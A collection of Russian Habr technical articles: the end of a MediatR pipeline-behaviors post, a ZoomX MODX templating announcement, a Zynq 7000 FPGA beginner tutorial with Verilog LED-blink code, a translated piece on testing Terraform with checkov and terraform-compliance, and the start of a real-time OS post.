Другими словами, если вы собираетесь отстрелить себе ногу, у вас всё ещё есть масса вариантов, как сделать это.
#### Декораторы
Но существует ещё одно очень важное преимущество MediatR. Видите ли, все ваши обработчики запросов реализуют один и тот же интерфейс `IRequestHandler`. Это означает, что вы можете создавать декораторы, применимые ко всем ним. В ASP.NET Core вы можете использовать пакет [Scrutor](https://www.nuget.org/packages/Scrutor/) для поддержки декораторов. Например, вы можете написать декоратор для логирования так:
```
class LoggingDecorator : IRequestHandler
where TRequest : IRequest
{
private readonly IRequestHandler \_handler;
private readonly Logger \_logger;
public LoggingDecorator(IRequestHandler handler,
Logger logger)
{
\_handler = handler;
\_logger = logger;
}
public Task Handle(TRequest request, CancellationToken cancellationToken)
{
\_logger.Log("Log something here.");
return \_handler.Handle(request, cancellationToken);
}
}
```
Теперь зарегистрируйте его:
```
services.AddMediatR(typeof(Startup));
services.Decorate(typeof(IRequestHandler<,>), typeof(LoggingDecorator<,>));
```
Вот и всё. Вы применили логику логирования ко всем вашим обработчикам запросов. Вам не нужно создавать отдельный декоратор для каждого из ваших сервисов. Всё, что вам нужно, - это декорировать единственный интерфейс.
Но зачем вообще связываться со Scrutor? MediatR предоставляет вам ту же функциональность с поведениями конвейера (pipeline behaviors). Создайте класс, реализующий `IPipelineBehavior`:
```
class LoggingBehavior : IPipelineBehavior
{
private readonly Logger \_logger;
public LoggingBehavior(Logger logger)
{
\_logger = logger;
}
public async Task Handle(TRequest request, CancellationToken cancellationToken, RequestHandlerDelegate next)
{
try
{
\_logger.Log($"Before execution for {typeof(TRequest).Name}");
return await next();
}
finally
{
\_logger.Log($"After execution for {typeof(TRequest).Name}");
}
}
}
```
Зарегистрируйте его:
```
services.AddMediatR(typeof(Startup));
services.AddScoped(typeof(IPipelineBehavior<,>), typeof(LoggingBehavior<,>));
```
И всё будет работать так же. Вам больше не нужны декораторы. Все зарегистрированные поведения конвейера будут выполнены для каждого обработчика запросов в том порядке, в котором они зарегистрированы.
Подход с поведениями даже лучше декораторов. Давайте посмотрим на следующий пример. Вам может требоваться обрабатывать некоторые запросы внутри транзакций. Чтобы пометить такие запросы, вы используете маркер-интерфейс `ITransactional`:
```
interface ITransactional { }
class CreateToDoItem : IRequest, ITransactional
...
```
Как применить поведение только к тем запросам, которые помечены `ITransactional`? Вы можете использовать ограничения на типы:
```
class TransactionalBehavior : IPipelineBehavior
where TRequest : ITransactional
...
```
Проделать то же самое с декораторами Scrutor нельзя. Если вы реализуете декоратор вот так:
```
class TransactionalDecorator : IRequestHandler
where TRequest : IRequest, ITransactional
...
```
вы не сможете использовать его, если у вас есть хотя бы один запрос, не реализующий `ITransactional`.
Создавая поведения конвейера, помните, что они выполняются при каждом вызове метода `Send`. Это может быть важно, если вы посылаете запросы изнутри обработчиков запросов:
```
class CommandHandler : IRequestHandler
{
private readonly IMediator \_mediator;
public CommandHandler(IMediator mediator)
{
\_mediator = mediator;
}
public async Task Handle(Command request, CancellationToken cancellationToken)
{
...
var result = await \_mediator.Send(new AnotherCommand(), cancellationToken);
...
}
}
```
Если и `Command`, и `AnotherCommand` помечены с помощью `ITransactional`, соответствующее поведение `TransactionalBehavior` будет выполнено дважды. Поэтому убедитесь, что вы не создаёте две отдельные транзакции.
### Другая функциональность
MediatR предоставляет вам и другую функциональность. Так он поддерживает механизм уведомлений (notification). Он может оказаться очень полезным, если вы в вашей системе используете доменные события. Все классы событий должны реализовывать маркер-интерфейс `INotification`. И вы можете создать любое количество обработчиков для конкретного типа событий с помощью интерфейса `INotificationHandler`. Разница между запросами и уведомлениями следующая. Запрос передаётся только одному единственному обработчику. Уведомления передаются всем зарегистрированным обработчикам для данного типа уведомлений. Также от обработчика запроса вы можете получить некоторый результат его обработки. Уведомления не позволяют получить никакого результата. Используйте метод `Publish` для [рассылки уведомлений](https://github.com/jbogard/MediatR/wiki#notifications).
MediatR также предоставляет механизм обработки исключений. Он довольно изощренный, и вы можете почитать о нём [здесь](https://github.com/jbogard/MediatR/wiki#exceptions-handling).
### Заключение
В завершение должен сказать, что для меня MediatR представляет собой очень интересный NuGet-пакет. Способность выражать любые операции через единый интерфейс и механизм поведений конвейера делают его очень привлекательным для моих проектов. Не могу сказать, что он представляет собой решение всех проблем, но определённые преимущества у него есть. Удачи вам в его использовании. | https://habr.com/ru/post/588887/ | null | ru | null |
# ZoomX. Меняем правила шаблонизации в MODX Revolution
Привет, друзья! Хорошая новость для модыксеров — компонент, о котором мы много говорили в сообществе, вышел. Возможно не все в курсе о чём речь. Давайте я расскажу поподробнее.
Что такое ZoomX
---------------
Задача, которую позволяет решать данный компонент — максимально полный отказ от встроенного шаблонизатора MODX. Таким образом, мы выбрасываем многократный парсинг контента, элементы, хранящиеся в БД, плейсхолдеры с точками и плюсами и добавляем любой современный быстрый мощный PHP шаблонизатор. Стандартные шаблоны из БД теперь используются только для привязки TV-шек к ресурсам.
Из коробки сразу доступен Smarty, так как он уже присутствует в ядре. Плюс, через заложенные в систему возможности расширения, заменены класс обработки запроса и класс подготовки ответа. Не надо ни взбалтывать, ни перемешивать, как в случае с Fenom. После установки компонента можно не заходя в админку создавать шаблоны в удобном IDE редакторе. Дальше останется только их привязать к ресурсам. А для этого используется [FastRoute](https://github.com/nikic/FastRoute) Никиты Попова.
### Роутер
Для MODX Revolution есть несколько компонентов, позволяющих управлять роутингом. Но все они срабатывают на событие **OnPageNotFound**, т.е. когда MODX не нашёл документа по указанному URI. В ZoomX роутинг срабатывает перед встроенным поиском документа. И результат зависит от режима:
* Отключен. Все указанные роуты игнорируются. MODX работает в обычном режиме.
* Совместный (мягкий). Если для указанного URI роут не найден, то MODX продолжит обработку запроса в обычном режиме.
* Строгий. Если для указанного URI роут не найден, то обработка запроса будет завершена с ошибкой 404.
Таким образом, вы можете работать или в привычном режиме, или использовать PHP шаблонизатор только для указанных ресурсов, или полностью отдать управление PHP шаблонизатору. It's up to you.
При использовании PHP шаблонизатора (на первом этапе это Smarty) также будет доступен и стандартный синтаксис MODX. Для этого есть специальный тег **parse**:
```
{parse}
[[!snippet?foo=`bar`]]
{/parse}
// Или так
{'[[!snippet?foo=`bar`]]'|parse:'modParser'}
```
Также ZoomX добавляет дополнительные плагины Smarty для работы с MODX.
Если коротко, то это всё. Подробнее можно прочитать в [документации](https://modzone.ru/documentation/zoomx/). В ближайших планах пополнить список доступных шаблонизаторов шаблонизатором Blade.
Проект на [GitHub](https://github.com/sergant210/ZoomX). | https://habr.com/ru/post/525158/ | null | ru | null |
# Начинаем работу с Zynq 7000. Пособие для начинающих
Совсем недавно мне в руки попался один из вариантов отладочной платы с SoC Zynq XC7Z020. Поискав в Интернете материалы, а-ля how-to, и попробовав накидать свой минимальный проект обнаружил, что есть целый ряд подводных камней. Именно об этом я и хотел бы рассказать в статье. Кому интересно - добро пожаловать под кат.
**Важно!** Перед началом повествования, хотелось бы заранее оговориться, что основная цель которую я преследую при написании этой статьи - показать любителям, с чего можно начать, при изучении отладочных плат на базе Zynq. Я не являюсь профессиональным разработчиком под ПЛИС и SoC Zynq и могу допускать какие-либо ошибки в использовании терминологии, использовать не самые оптимальные пути решения задач, etc. Но любая конструктивная и аргументированная критика только приветствуется. Что ж, поехали…
Что за отладка такая? Покажи-расскажи...
----------------------------------------
Мне очень давно хотелось поиграться с SoC Zynq, но никак не доходили руки. Но в очередной раз погуглив - увидел, что за вполне вменяемый ценник продаётся отладка с Zynq на борту, от компании QMTech, называется она Bajie Board. Выпускается отладка в нескольких вариантах с разными вариантами SoC Zynq. Я выбрал для себя вариант на XC7Z020 и тут же ее заказал, через пару недель она у меня уже была в руках.
После распаковки я был приятно удивлен, комплект поставки порадовал. Это была сама отладочная плата, блок питания на 5В/2А, mini-USB кабель и microSD Flash-карта SanDisk на 16Гб с уже залитым на нее Linux. То есть, сразу после получения вы можете подключить к плате питание, воткнуть USB-шнурок, открыть Putty и получить в свое распоряжение полноценный mini-компьютер с Embedded Linux. О Linux для Zynq, я думаю, расскажу в другой статье, поэтому едем дальше...
Итак, рассматривая плату и попутно документацию на нее я увидел относительно не плохой набор всякого-разного:
* SoC: XC7Z020-1CLG400C
* (datasheet:https://www.xilinx.com/support/documentation/data\_sheets/ds190-Zynq-7000-Overview.pdf);
* Осциллятор на 33,333 МГц;
* Оперативная память DDR3 на 512 Мб от компании Micron, MT41K256M16TW-107:P;
* Встроенный слот micro SD;
* Источник питания для FPGA TPS563201 с широким диапазоном входных напряжений (от 4.5V до 17V, 3A);
* Один 50-пиновый и две Digilent PMOD совместимых, гребёнки с пинами, с шагом в 2,54 мм. для пользовательских кейсов (как заверяет производитель, все проводники до пинов выровнены по длине);
* Кнопка для логического сброса процессорной системы (PS);
* Гигабитный RGMII Ethernet-контроллер Realtek RTL8211E-VL, подключенный к PS;
* Два пользовательских светодиода, один подключен к программируемой логике (PL) и другой подключен к процессорной системе (PS);
* Встроенный HDMI-совместимый интерфейс дисплея TI TPD12S016;
* Гребёнка для подключения JTAG-отладчика;
Для большинства задач начального уровня такого количества всего будет прям за глаза.
Единственное, что меня опечалило и про что я напрочь забыл, когда покупал плату - это то что для работы с платой необходим JTAG-программатор. Но я его быстро нашел в Москве и мне его привезли курьером буквально в этот же день.
Установка необходимого набора ПО для разработки
-----------------------------------------------
Итак, прежде чем начать работу с платой мне было необходимо установить ПО Xilinx Vivado и Xilinx SDK. Насколько я понимаю, грубо говоря, Vivado используется для конфигурации аппаратной части используемой платы и для работы с программируемой логикой. А Xilinx SDK (ныне именуется Vitis) используется для создания кода непосредственно для процессорной системы.
Поскольку бОльшая часть примеров из документации и [репозитория производителя](https://github.com/ChinaQMTECH) и разнообразных примеров из роликов на YouTube делались в версии Vivado 2019.1 (видимо из-за того, что это последняя версия поддерживающая работу с Xilinx SDK) - я установил именно её, а не последнюю доступную 2020.2.
Все программные продукты необходимые для работы с Xilinx Zynq - можно взять на официальном сайте Xilinx, [тут](https://www.xilinx.com/support/download.html). Сразу же спешу обратить внимание, что те из вас, кто захочет установить самую новую версию Vivado - нужно скачивать версию 2020.2, а не 2020.3 т.к. последняя поддерживает только Versal SoC, и не поддерживает Zynq.
В моём случае, т.к. я работаю в операционной системе Linux - я перешел в меню Vivado Archive - 2019.1 и нажал на кнопку скачивания по ссылке [Vivado HLx 2019.1: WebPACK and Editions - Linux Self Extracting Web Installer](https://www.xilinx.com/member/forms/download/xef-vivado.html?filename=Xilinx_Vivado_SDK_Web_2019.1_0524_1430_Lin64.bin) в списке Vivado Design Suite - HLx Editions - 2019.1. Для пользователей Windows - выбирайте Windows Self Extracting Web Installer.
После скачивания открываем инсталлятор, установив права на исполнение:
```
chmod +x ~/Downloads/Xilinx_Vivado_SDK_Web_2019.1_0524_1430_Lin64.bin
~/Downloads/Xilinx_Vivado_SDK_Web_2019.1_0524_1430_Lin64.bin
```
Вся установка состоит из набора стандартных шагов.
1. Вводим авторизационные данные, которые мы указывали при регистрации;
2. Принимаем условия лицензионных соглашений;
3. Выбираем Vivado HL WebPACK;
4. Удостоверяемся в том, что выбран SoC Zynq в списке предложенного оборудования.
5. Далее программа скачает порядка 16Гб всякого-разного, установит это и на Рабочем столе появятся иконки нужных нам приложений.
После установки Vivado необходимо установить драйвер для JTAG-программатора. В Linux это делается так:
```
cd Xilinx2019.1/Vivado/2019.1/data/xicom/cable_drivers/lin64/install_script/install_drivers/
sudo ./install_drivers
```
Подключаем все 6 пинов от JTAG-программатора в соответствии с шелкографией на плате. И проверяем установлены ли драйвера и определяется ли наша отладочная плата:
```
cd ~/Xilinx2019.1/Vivado/2019.1/bin
./xsdb
xsdb% connect -host localhost
xsdb% jtag targets
1 Platform Cable USB 13724327082b01
2 arm_dap (idcode 4ba00477 irlen 4)
3 xc7z020 (idcode 23727093 irlen 6 fpga)
```
На этом подготовительный этап можно считать завершенным.
Hello, world или “Баяны подъехали”
----------------------------------
Не будем отходить от традиции и попробуем поморгать LED-иком который подключен к программируемой логике.
Запускаем Vivado и создаем новый проект. Нажимаем ***File - Project - New****…*
Откроется мастер создания нового проекта, нажимаем ***Next >*** и пишем название нашего проекта ***PL-Blink.***
Выбираем ***RTL Project***и ставим галочку у пункта ***Do not specify sources at this time****.*
Далее в списке ищем наш процессор ***xc7z020clg400-1.***
Жмём на кнопку ***Finish****.*
Перед нами открывается главное окно программы Vivado и мы можем приступать к реализации намеченной нами цели!
Первым делом, мы добавим необходимые указания программе, на то, какие физические ножки мы задействуем в нашей моргающей вакханалии =)
Находим меню ***Sources***и нажимаем кнопку ***Add Sources***.
Откроется мастер импорта и нам нужно выбрать ***Add or create constraints.***
В следующем меню нажимаем ***Create file*** и пишем название нашему файлу ***physical\_constr.***Именно в этом файле мы опишем какие ножки и в каком режиме должны работать.
Нажимаем кнопку ***Finish*** и в дереве ***Sourсes*** ищем только что созданный нами файл и открываем его:
Обратимся к схеме, которую любезно предоставил нам производитель и найдем какая ножка отвечает за тактирование, а какая за наш светодиод. Бегло поискав, я отметил для себя, что из Ethernet-контроллера RTL8211E-VL выведен опорный тактовый сигнал с его внутреннего PLL, частотой в 125МГц и заведен в ножку H16 (IO\_L13P\_T2\_MRCC\_35). Так почему бы нам его и не задействовать в нашем примере? =)
Его мы и заюзаем для нашего счетчика, который будет генерировать задержку между включенным и выключенным состоянием светодиода.
Тут же, рядом, на ножке H17 (IO\_L13N\_T2\_MRCC\_35) расположен светодиод, которым мы будем моргать.
Итак. Открыв наш constraints-файл запишем в него следующие строки:
```
# User LED and Clock
set_property IOSTANDARD LVCMOS33 [get_ports led_h17_d4]
set_property IOSTANDARD LVCMOS33 [get_ports sys_clk]
set_property PACKAGE_PIN H17 [get_ports led_h17_d4]
set_property PACKAGE_PIN H16 [get_ports sys_clk]
```
Поскольку опыта создания подобных конфигов у меня нет, могу лишь предположить, что первые две строки задают режим работы ножек указанных в аргументе, а третья и четвертая указывают на то, какие физические ножки будут использоваться.
В квадратных скобках, после ***get\_ports*** необходимо указать логическое имя ножки (на ваше усмотрение). Имена стоит придумать осмысленно, потому что мы его будем использовать в Verilog-коде.
Кстати, подробнее о ***Physical Constraints*** можно почитать [тут](https://www.xilinx.com/support/documentation/sw_manuals/xilinx2018_1/ug903-vivado-using-constraints.pdf) в главе 8.
Добавим в наш проект таким же образом ***Design Source***. Находим меню ***Sources***и нажимаем кнопку ***Add Sources***.
Откроется мастер импорта и нам нужно выбрать ***Add or create design sources. Далее нажимаем Create File***, смотрим, что выбран язык ***Verilog***. Нажимаем ***ОК***и ***Finish****.*
В следующем меню всё оставляем без изменений и нажимаем***ОК*** и***Yes***.
Открываем созданный файл и видим небольшую заготовку:
Здесь вместо предложенного кода пишем наш Verilog-код и прокомментируем что значит каждая из строк:
```
// Директива компилятора, которая определяет единицу времени и точность для моделирования Verilog.
// В целом, не очень интересный пункт для нас.
`timescale 1ns / 1ps
// Определяем стандартный блок-модуль (как класс в С++)
module pl_blink(input sys_clk, output led_h17_d4);
// Задаем регистр для хранения записи о текущем состоянии светодиода
reg r_led;
// Задаем регистр для хранения значения счётчика, использующегося в задержке
reg [31:0] counter;
// Тут мы задаем действия которые должны быть выполнены при старте программы
initial begin
counter <= 32'b0; // Обнуляем счётчик
r_led <= 1'b0; // Делаем запись о состоянии светодиода
end
// Тут описываем поведенческий блок, который будет реагировать на положительный фронт тактовой частоты
always@(posedge sys_clk)
begin
counter <= counter + 1'b1; // Увеличиваем счетчик
if(counter > 12000000) // Если счетчик больше некоторого условного значения
begin
r_led <= !r_led; // Инвертируем запись о значении состоянии светодиода
counter <= 32'b0; // Сбрасываем счетчик
end
end
assign led_h17_d4 = r_led; // Присваиваем текущее состояние ножке (условно)
endmodule
```
Нажимаем сочетание клавиш ***Ctrl + S*** чтобы сохранить код. Смотрим, не подсвечены ли где возможные ошибки. Если нет - то можем приступить к синтезированию, имплементации и генерации бинарного файла который мы потом зальем в нашу плату Zynq и будем наблюдать за морганием светодиода.
Нажимаем кнопку ***Run Synthesis*** и дожидаемся завершения синтеза. После окончания программа нам скажет, что синтез успешно завершен и мы можем переходить к следующему шагу:
Выбираем ***Run implementation*** и дожидаемся окончания. После выбираем пункт ***Generate Bitstream*** для запуска финального этапа:
Тут так же дожидаемся сигнала о том, что всё прошло успешно, выбираем ***Open Hardware Manager*** и можем приступать к заливке результата компиляции в нашу плату:
В открывшемся меню ***Hardware Manager*** нажимаем кнопку ***Auto connect***, дожидаемся когда произойдет успешное соединение и откроется меню со списком устройств:
В меню слева или через нажатие правой кнопкой по ***xc7z020\_1*** в меню ***Hardware*** нажимаем пункт ***Program Device***.
В следующем окне убеждаемся, что правильно указан путь к bitstream-файлу и нажимаем кнопку Program.
Программа заливается на нашу плату…
И через мгновение на плате загорается светодиод D2, который сообщает нам, что ***“FPGA DONE”*** и в другом конце платы мы видим весело моргающий светодиод. =)
В целом задачу можно считать выполненной. Думаю, что по мере освоения мной языка Verilog и решения всяких новых задач с использованием этой платы - я смогу порадовать вас ещё. | https://habr.com/ru/post/559946/ | null | ru | null |
# Тестирование инфраструктуры как кода Terraform: анализ модульных тестов и сквозной разработки путем тестирования поведен
> Для будущих студентов курса [«Infrastructure as a code in Ansible»](https://otus.pw/FLGWq/) и всех интересующихся подготовили перевод полезного материала.
>
>
>
> Также приглашаем записаться на открытый урок по теме [«Управление Kubernetes при помощи Kubespray»](https://otus.pw/FLGWq/).
---
С возвращением! Это очередная техническая статья из серии заметок о terraform и kubernetes на тему инфраструктуры как кода, подготовленных компанией Contino.
TL;DR
Размер команды не имеет значения. В любом случае реализация хорошего анализа конфигурации инфраструктуры на базе terraform и сквозного тестирования ее разумности не обязательно должна быть длительным и сложным процессом.
Мне подвернулась интереснейшая задача: изучить, разработать и представить подходящую платформу тестирования с открытым кодом для базы кода terraform в рамках конвейера выпуска инфраструктуры. Принцип «контроль качества во всем» далеко не нов. Но его реализация зависит от зрелости инфраструктуры организации и допустимого уровня риска — до стадии выхода на [сколь-либо] готовый продукт.
Свежий взгляд на сферу тестирования кода для инфраструктуры позволил мне познакомиться с новейшими тестовыми платформами и обновить свои знания.
Стоит признать, в начале своего пути я страдал от предубеждения, что подготовка и реализация такого «контроля качества корпоративного класса» может потребовать значительных трудозатрат.
В конце концов, [Hashicorp Terraform имеет достаточные функциональные возможности без дополнительной настройки](https://www.terraform.io/docs/commands/index.html) для проверки и валидации вашей базы кода.
* Контроль качества кода — `terraform fmt -check` и `terraform validate`.
* Предварительный просмотр — `terraform plan`.
* Построение — `TFLOG=debug terraform apply` для дотошной проверки.
### Средства статического анализа кода Terraform
Прочесывание Google выявило весьма обширный перечень потенциально пригодных средств тестирования terraform.
Но сначала пройдемся по списку наших требований.
* Наличие модульных тестов в конфигурации ресурсов terraform и возможность расширять любой подобный общий список проверок соответствия передовым методам\* для определенного поставщика облачных услуг. Кроме того, нас интересуют простые в использовании инструменты, с которыми можно начать работать без промедления.
\* Отсутствие экземпляров ec2, открытых миру 0.0.0.0/0, — и так далее.
* Возможность выполнять более нестандартные тесты — своего рода «отбойник» нормативного соответствия, позволяющий ограничивать конфигурацию ресурсов. Эта возможность должна быть разумно расширяемой, чтобы защитить подсети, роли безопасности, нестандартные теги и даже обеспечить включение или выключение флагов определенных функций кластера EKS.
* Требование, определенное в большей степени личным опытом, — платформа тестирования по возможности должна сокращать инженерные трудозатраты, а не увеличивать их, с учетом имеющихся навыков. Разумеется, я прекрасно понимаю, что после создания такие тестовые платформы в дальнейшем требуют значительных инженерных трудозатрат на поддержание их работы и расширение.
* Поддержка сообщества важна, когда дело касается программного обеспечения с открытым исходным кодом. Ну и самое последнее, любые выбранные платформы должны быть написаны на распространенном языке программирования, таком как Go или Python. Если понадобится углубиться в платформу и написать собственные методы, найти инженера с опытом работы с одним языком будет, пожалуй, проще, чем с двумя. Любой предыдущий опыт работы с подобными инструментами, который может быть у имеющихся сотрудников группы и организации в целом, также будет полезен. Итак, теперь я готов отправиться на поиски правильного средства тестирования и платформ для выполнения этой работы.
Подборка: анализ и сравнение средств и платформ тестирования Terraform
Надеюсь, что приведенный далее список облегчит ваши труды по статическому анализу инфраструктуры как кода и контролю качества. Обращаю внимание, это полный список всех найденных мной соответствующих инструментов тестирования terraform, представляющий собой смесь средств тестирования обоснованности конфигурации, контроля качества кода и передовых методов, ориентированных на secOps, с модульными тестами. Далее вашему вниманию предлагается этот список.
* **tflint** — [github.com/terraform-linters](https://github.com/terraform-linters/)
* **terrafirma** — [github.com/wayfair/terrafirma](https://github.com/wayfair/terrafirma)
* **tfsec** — [github.com/liamg/tfsec](https://github.com/liamg/tfsec)
* **terrascan** — [github.com/cesar-rodriguez/terrascan](https://github.com/cesar-rodriguez/terrascan) (на данный момент отсутствует поддержка TF 0.13)
* **checkov** — [github.com/bridgecrewio/checkov](https://github.com/bridgecrewio/checkov/)
* **conftest** — [github.com/instrumenta/conftest](https://github.com/instrumenta/conftest)
### Выбранные средства тестирования
Подытожим. Я старался найти стандартизированный модульный тест для компонентов ресурсов terraform и более настраиваемый набор тестов, которые берут конфигурацию ресурсов для валидации по результатам `terraform plan`.
Рассмотрев преимущества и недостатки каждой платформы, я остановил свой выбор на инструменте `checkov` и платформе с очень подходящим названием `terraform-compliance` — обе они написаны на python. Они удовлетворяли всем моим описанным выше требованиям.
Конвейер выпуска инфраструктуры как кода в общих чертах выглядит примерно так.
Основательно покопавшись в этих платформах, я неизбежно пересмотрел собственный опыт и пришел к следующим актуальным заключениям по обсуждаемой теме:
* Тесты разумности не обязательно должны стоить как чугунный мост.
* Некоторые платформы тестирования являются настолько зрелыми, что значительная часть передовых методов, касающихся модульного тестирования, в них уже заложена.
* Освоить большинство платформ действительно очень просто, в связи с чем принятие и интеграция подобных платформ тестирования являются обязательными для организаций любого размера, в которых инфраструктура как код дополняет ее собственные гибкие техники управления, выстроенные на основе бизнес-требований «быстрый провал» и «двигайся быстрее».
### Модульное тестирование — Checkov от BridgeCrew
[www.checkov.io](https://www.checkov.io/)
> **Checkov — это инструмент статического анализа кода для инфраструктуры как кода.**
>
>
>
> Он сканирует облачную инфраструктуру, подготовленную с помощью Terraform, Cloudformation, Kubernetes, Serverless или шаблонов ARM, и выявляет неправильную конфигурацию с точки зрения безопасности и соблюдения нормативных требований.
Есть несколько модульных тестов, выполняемых по умолчанию при сканировании репозитория кода terraform, которые показывают отклонения от передовых методов — например, когда согласно конфигурации безопасности у вас есть виртуальная машина на порту 22, открытом миру (0.0.0.0/0).
Все тесты можно найти по этой ссылке на GitHub.
Начать работать с платформой очень просто.
* Установите двоичный файл.
* Инициализируйте каталог terraform командой terraform init.
* Запустите chechov для этого каталога.
Список всех модульных тестов, выполняемых по умолчанию, можно вывести в командной строке. Кроме того, при работе checkov платформа по умолчанию выдает все пройденные и непройденные модульные тесты. Очень удобно, начать использовать просто. Передовые методы terraform проверяются, но не все. Это фундаментальное отличие.
Chechov с радостью оценит ТОЛЬКО ваш код `terraform`. Платформа может работать сразу после `terraform init`. Ей нет дела до вашего `terraform plan` — со всеми преимуществами и недостатками. Платформа выполняет то, что заявлено, а именно «статический анализ кода». Помните о возможных последствиях, а также любых соображениях относительно логики для ваших ресурсов.
#### Вывод после работы checkov с указанием пройденных и непройденных проверок.
Если вы готовы заниматься углубленной разработкой на Python, то сможете написать дополнительные модульные тесты. Язык разработки платформы входил в число моих требований, поскольку иногда мне приходится анализировать базу кода тестов, чтобы прикинуть, насколько трудно будет [при необходимости] создать подобные дополнительные методы. Этот момент в сочетании с вопросами обслуживания для группы в целом стал основным фактором выбора этой платформы вместо альтернативной, позволяющей получить такой же результат.
Резюмируя, в области статического анализа кода платформа checkov просто великолепна. В частности, если мне нужно, чтобы изначально определенный IP-адрес подсети был помещен в белый список. Но такой вариант не годится для тестов e2e, нуждающихся в отдельной платформе тестирования.
С другой стороны, в качестве решения я могу реплицировать модульный тест и жестко прописать параметры моей подсети/IP-адреса. А что тогда делать, если у меня несколько экземпляров и проектов, — пропускать этот тест, даже если он нужен? Может быть. А может и нет.
Вот здесь-то в игру и вступает вторая платформа тестирования — `terraform-compliance`.
Terraform-compliance
--------------------
[terraform-compliance.com](https://terraform-compliance.com/)
> **Terraform-compliance** — это облегченная платформа тестирования, предназначенная для проверки безопасности и соблюдения нормативных требований в terraform для обеспечения совместимости вашей инфраструктуры как кода с отрицательным тестированием.
### Предыстория
Еще раз отмечу, сквозная разработка через тестирование поведения (BDD) стала использоваться как платформа тестирования недавно, подчеркнув потребность в универсальной платформе тестирования. Но это не единственная польза. Простота.
На самом деле, мне кажется, что BDD получает недостаточно внимания. Возможно, вы слышали о разработке посредством тестирования (TDD), которая глубоко пускает корни, прежде всего в среду разработки программного обеспечения. Но именно здесь платформы наподобие BDD упрощают создание дополнительной логики, предлагая обычному специалисту по обслуживанию инфраструктуры более простой, лаконичный и повторяемый способ разработки сквозных настраиваемых тестов без углубленного изучения какого-либо специализированного и нового языка программирования.
И хотя с помощью кода можно описать, по сути, все на свете, в конечном счете все упирается в управляемость, возможности постичь сложность кода (для чего может потребоваться подготовка обширной документации), не говоря уже о поддержке и обслуживании. [Здесь можно подробнее познакомиться с BDD.](https://cucumber.io/blog/bdd/getting-started-with-bdd-part-1/)
[Cucumber.io](https://cucumber.io/) — это не просто язык, это система, упрощающая работу по тестированию за счет применения подхода WYSIWYG к созданию тестов, пониманию их работы и обслуживанию. Эти примеры определяются до начала разработки и используются в качестве критериев приемки.
Они являются частью определения.
### Тестирование с помощью Terraform-Compliance
Каждая платформа рассматривается по своим достоинствам с углубленным исследованием того, где ее особенности и нюансы можно использовать с наибольшей пользой. Забегая вперед, скажу, что использовать можно обе платформы.
Вот пример такого теста, разработанного с помощью платформы `terraform-compliance` с применением BDD. Он позволяет выполнять достаточно сложное сквозное тестирование.
Платформа `terraform-compliance` использует вывод `terraform plan`. В результате это позволяет формировать полные «планы» выпусков и тщательно тестировать их. Например, контролировать использование правильной пары ключей шифрования [для вашего поставщика облачных услуг] для учетной записи, среды и т. п. У вас будет большая свобода для творчества, и самое важное — работать с платформой очень просто.
Просто ознакомьтесь с приведенными ниже действиями и примерами.
* Шаг 1. Инициализируйте каталог terraform:# terraform init
* Шаг 2. Можно быстро сформировать terraform plan следующей командой: #terraform plan -out=plan.out
* Шаг 3. Напишите несколько тестов. Дело нехитрое — уже есть папка с примерами. Давайте пройдемся по моим собственным примерам тестов, приведенным ниже, написанным на основе моего вывода terraform plan.
Это фрагмент плана `terraform` — конфигурации terraform, которая создает EKS с указанной группой запуска. Давайте удостоверимся, что в нашем коде инфраструктуры `terraform` не применяется `instancetype`, а используется «одобренный» вариант `a1.xlarge` или `a1.2xlarge`.
Теперь я намеренно изменю его на `t2.small`, чтобы имитировать непрохождение теста.
Напишем тест, чтобы обеспечить успешную валидацию этого требования.
* Шаг 4. Давайте заставим `terraform-compliance` оценить плат с использованием тестовых сценариев: `#terraform-compliance -p plan.out -f ./`
#### Выполнение тестов
Пример результата с прохождением и непрохождением
Если в нашем коде инфраструктуры Terraform используется правильный `instancetype`, то все результаты будут зелеными SUCCESS.
Если же наш код инфраструктуры Terraform нарушает требование из-за наличия неправильного `instancetype`, то результаты будут красными FAIL.
Давайте напишем еще больше тестов
Еще несколько простых тестов, взятых из каталога примеров:
Если одна ситуация с непрохождением — в этом случае пользователь увидит «фактическое\_значение», которое извлекается и показывается в целях справки и отладки.
#### Результаты тестов
После выполнения всех тестов отображается удобная итоговая сводка по всем пройденным и непройденным тестам, в которой также указываются пропущенные тесты. Она мне нравится тем, что позволяет написать длинный список тщательных тестов, а также найти в конце четкие сведения о том, какие тесты не были пройдены и когда. Кроме того, в случае непрохождения некоторые тесты могут быть пропущены с указанием тега `@warning`, как показано в примере ниже.
#### Итоги
Без всякого сомнения, это была великолепная возможность заново взглянуть на некоторые платформы для валидации и тестирования превосходного качества, имеющиеся для кода как инфраструктуры Terraform.
Я получил удовольствие, рассматривая обе эти платформы, и был особенно удивлен простотой интеграции checkov, а также потрясающей валидацией `e2e terraform plan` и вариантами нестандартного тестирования, которые предлагает `terraform-compliance`.
Последняя напоминает мне поведение behave, еще одной великолепной платформы тестирования **BDD e2e kubernetes**, с которой я работал в прошлом.
Полностью написанные на Python платформы тестирования упрощают общий обмен знаниями Python между платформами и сокращают объем интеллектуального труда для обслуживания и разработки тестов в будущем.
Если вам требуется проверка конфигурации на соответствие передовым методам, когда не требуется terraform plan, то, возможно, checkov — это то, что вам нужно. В иных случаях ответом может быть платформа `terraform-compliance`, имеющая более богатый набор функций для валидации `terraform plan`. Лучше всего то, что, будучи платформой BDD, `terraform-compliance` очень проста в освоении.
Модульное тестирование прежде всего. Проще простого. Платформа Checkov от bridgecrewio позволяет выполнять проверку соответствия передовым методам без дополнительной настройки.
На самом деле нет никакой обоснованной причины пропускать любые из этих тестов контроля качества, каким бы ни был размер вашей группы. Особенно учитывая те незначительные трудозатраты, которые нужно приложить для их реализации (см. примеры в статье).
P.S. В компании Contino реализуется порядочное количество фантастических проектов. Если вам хотелось бы поработать над суперсовременными инфраструктурными проектами или вы ищете серьезные задачи — свяжитесь с нами! Мы нанимаем персонал и ищем светлые умы на всех уровнях. Мы в компании Contino гордимся тем, что разрабатываем передовые проекты по трансформации облачных систем, предназначенные как для компаний среднего размера, так и для крупных предприятий.
> Узнать подробнее о курсе [«Infrastructure as a code in Ansible»](https://otus.pw/FLGWq/).
>
>
>
> Записаться на открытый урок по теме [«Управление Kubernetes при помощи Kubespray».](https://otus.pw/0xmy/)
[](https://otus.pw/EipQ/) | https://habr.com/ru/post/533416/ | null | ru | null |
# Почти ОС реального времени — 2
Теперь, когда [инструмент](http://habrahabr.ru/blogs/controllers/58366/ "Ссылка на предыдущий пост") готов, его уже можно и нужно использовать.
Предварительно пара слов про Главный Таймер.
